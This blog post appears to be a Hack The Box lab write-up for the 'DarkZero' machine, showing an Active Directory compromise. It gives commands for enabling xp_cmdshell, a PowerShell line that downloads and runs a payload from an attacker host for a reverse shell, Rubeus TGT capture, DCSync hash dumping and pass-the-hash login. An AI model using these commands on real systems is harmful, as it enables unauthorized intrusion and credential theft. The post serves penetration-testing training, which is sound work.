399 words
2 minutes
DarkZero - Hack The Box Writeup

DarkZero – Hack The Box Writeup#

As is common in real-world pentests, the DarkZero box provides initial credentials:

Username: john.w
Password: RFulUtONCOL!

Terminal window
sudo nmap -p- -sV --min-rate 1000 10.10.11.89
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
2179/tcp open vmrdp
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

These credentials are valid for MSSQL, LDAP, and SMB.

image.png

MSSQL Access & Linked Server Abuse#

Terminal window
impacket-mssqlclient darkzero.htb/john.w:RFulUtONCOL\!@10.10.11.89 -windows-auth

image.png

enum_links

image.png

use_link "DC02.darkzero.ext"

image.png

Enable xp_cmdshell on the linked server:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

image.png

Reverse Shell via xp_cmdshell#

Configure payload in msfconsole:

image.png

Run exploit:

image.png

Copy payload to .bat file:

image.png

Execute on target:

EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://$ip/payload.bat -OutFile C:\Windows\Temp\payload.bat; C:\Windows\Temp\payload.bat"'

image.png

File downloaded & executed → shell obtained:

image.png

Meterpreter session:

image.png

use session 3

image.png

Local exploit suggester:

run post/multi/recon/local_exploit_suggester

image.png

Set options & run:

image.png

Hashdump (for reference):

image.png

Discovering Dangerous Forest Trust Delegation#

Using PowerView:

╭─LDAPS─[DC01.darkzero.htb]─[darkzero-ext\Administrator]-[NS:<auto>] [CACHED]
╰─PV ❯ Get-NetTrust
...
trustAttributes : FOREST_TRANSITIVE
**CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION**
...
WARNING


The CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag allows unconstrained delegation across forest trust boundaries — a very dangerous misconfiguration!

This enables us to coerce authentication from DC01 and capture its machine ticket on DC02.

Rubeus.exe – Kerberos Swiss Army Knife#


Rubeus is a powerful post-exploitation tool for raw Kerberos interaction and abuse in Active Directory.
It is very commonly used by real attackers, so its presence outside labs/red-team engagements is a major red flag.

Official project: GhostPack/Rubeus
(Precompiled binary used: r3motecontrol/Ghostpack-CompiledBinaries)

Written in C# — runs entirely in user space
Purpose: Interact directly with Kerberos tickets, LSA memory, and Domain Controllers.

Key capabilities used in this attack:

  • Ticket monitoring (monitor): Watches for new TGTs at set intervals
  • Ticket harvesting (harvest, triage, dump): Extracts usable tickets
  • Pass-the-Ticket (ptt): Injects stolen tickets into sessions
  • Delegation abuse (s4u, unconstrained delegation exploits)

OpSec note: Many actions (especially rc4_hmac usage) are detectable via EDR, DC logs (encryption downgrade), or abnormal port 88 traffic from non-lsass.exe processes.

Uploading Rubeus.exe to our session on DC02:

upload /home/alphabeta/Downloads/Rubeus.exe

image.png

Start monitoring for incoming TGTs:

Terminal window
Rubeus.exe monitor /interval:5 /nowrap

image.png

Trigger authentication from DC01 (via linked server MSSQL):

xp_dirtree \\DC02.darkzero.ext\sfsdafas

image.png

DC01$ machine TGT captured!

image.png

Save ticket:

image.png

Convert base64 → .kirbi:

image.png

Convert .kirbi.ccache (for impacket):

image.png

Set environment:

image.png

DCSync with Stolen DC Machine Ticket#

Terminal window
impacket-secretsdump -k -no-pass darkzero.htb/DC01\$@DC01.darkzero.htb

image.png

TIP


Full domain hash dump achieved — including krbtgt — allowing golden tickets or PTH everywhere!

Final Access & Flags#

Use evil-winrm (or PTH/golden ticket):

Terminal window
evil-winrm -i 10.10.11.89 -u Administrator -H <NTLM hash>

image.png

Submit user.txt & root.txt obtained. Machine pwned!

image.png

DarkZero - Hack The Box Writeup
https://blog.hanzalaghayasabbasi.com/posts/darkzero_machine_htb/
Author
Hanzala Ghayas Abbasi
Published at
2025-12-04
License
CC BY-NC-SA 4.0